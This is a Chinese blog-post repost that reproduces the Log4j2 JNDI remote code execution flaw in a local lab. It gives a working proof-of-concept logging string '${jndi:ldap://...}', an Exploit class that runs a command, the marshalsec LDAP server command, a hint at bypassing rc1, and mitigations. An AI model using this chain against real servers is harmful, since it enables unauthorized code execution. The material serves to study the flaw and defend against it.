手把手复现了 Log4j2 漏洞,太可怕了。。
关注Java核心技术,推送更多 Java 干货!
来源:blog.csdn.net/qq_40989258/article/details/121862363
0x00 简介
ApacheLog4j2是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。
0x01 漏洞概述
该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。
0x02 影响范围
0x03 环境搭建
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
0x04 漏洞利用
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
public static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://localhost:8888/Exploit}");
}
}
class Exploit {
static {
System.err.println("Pwned");
try {
String cmds = "calc";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
javac exp.java
3、使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://127.0.0.1:7777/#Exploit" 8888
4、运行poc.java,即可访问恶意类并执行写在其中的"calc"命令
结合一些其它 StrLookup 适当变形,以及配合官方测试用例中脏数据"?Type=A Type&Name=1100110&Char=!"
可绕过rc1,RC2版本对此异常进行了捕获。Spring Boot 学习笔记分享给你。
https://github.com/apache/logging-log4j2/compare/log4j-2.15.0-rc1...log4j-2.15.0-rc2
0x05 修复方式
目前,Apache官方已发布新版本完成漏洞修复,建议用户尽快进行自查,并及时升级至最新版本:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
最近好文分享
1. 最新 Java 面试题出炉!(带全部答案)
2. Java 日志记录最佳实践,写得太好了吧! 3. 代码写的垃圾?这 3 个插件你值得拥有! 4. 面试官:手写一个必然死锁的例子?
5. 都在聊 DDD,到底哪里超越了MVC?
一个分享Java核心技术干货的公众号